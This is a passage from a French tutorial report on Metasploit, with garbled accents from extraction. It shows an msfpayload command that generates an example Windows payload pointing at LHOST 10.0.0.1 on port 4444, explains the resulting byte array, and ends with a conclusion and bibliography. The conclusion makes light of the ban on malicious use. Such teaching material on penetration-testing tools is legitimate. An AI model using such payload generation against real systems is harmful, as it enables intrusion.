Ce payload debute par les dclarations standards et la place des modules pour les dpendance. Le nom du module est Exemple. Aprs le nom du module, on dclare les Windows et single-stages shellcode que lon pourras utiliser. Puis vient le bloc dintialisation standard. # msfpayload windows/exemple LHOST=10.0.0.1 C /* * windows/exemple - 39 bytes * http://www.metasploit.com * EXITFUNC=seh, LPORT=4444 */ unsigned char buf[] = "\x11\x5c\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa" "\x0a\x00\x00\x01\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa" "\xf0\x8a\x04\x5f\xaa\xaa\xaa\xaa\xaa"; On voit alors, comme annonc, que les deux premiers octects ont comme valeur 0x115c ce qui vaut 4444, et que laddresse qui commence loctet 15 est remplace par 0x0a 0x00 0x00 0x01, ce qui signie 10.0.0.1. 22

Chapitre 5

Conclusion
Ce document touche dsormais sa n. Nous esprons, au travers de ces quelques pages, avoir russi vous intressez cet outil quest Metasploit. Les notions entrevues lors des dirents exemples de ce rapport ... Lancement dun exploit Dissection dun exploit Cration dun module ... Vous permettrons de vous attaquer des sujets bien plus complexes dans le domaine des exploits et des payloads. Si laventure vous tente, sachez que vous pourrez trouver sur internet une vritable bibliothque des publications concernant Metasploit ou le monde des exploits. Nous mettons votre disposition une liste non exhaustive des livres, articles ou sites web dans la partie bibliographie de ce rapport. Celle-ci est suppose reprsentative mais rien nous vous oblige vous y restreindre. Nous tenons aussi rappeler que Metasploit a t cr avant tout pour tester la rsistance des systmes face aux tentatives dintrusions. Il est donc interdit dutiliser Metasploit des ns malveillantes, mais comme dirai lautre : "Il est interdit dinterdire".

23

Bibliographie
[1] D. Maynor and KK Mookhey. Metasploit Toolkit for Penetration Testing, Exploit Development, and Vulnerability Research. Syngress Press, 2007. [2] Sta Metasploit. Metasploit 3.0 Developers Guide. http://www.metasploit.com/ documents/developers_guide.pdf. [3] Pukhraj Singh and K.K. Mookhey. Metasploit Framework. securinfos.info/jerome/DOC/Metasploit1_FR.pdf. [4] Sta. Site ociel de Metasploit. http://www.metasploit.com. [5] Sta. Blog ociel de Metasploit. http://blog.metasploit.com/. https://www.

24

S-ar putea să vă placă și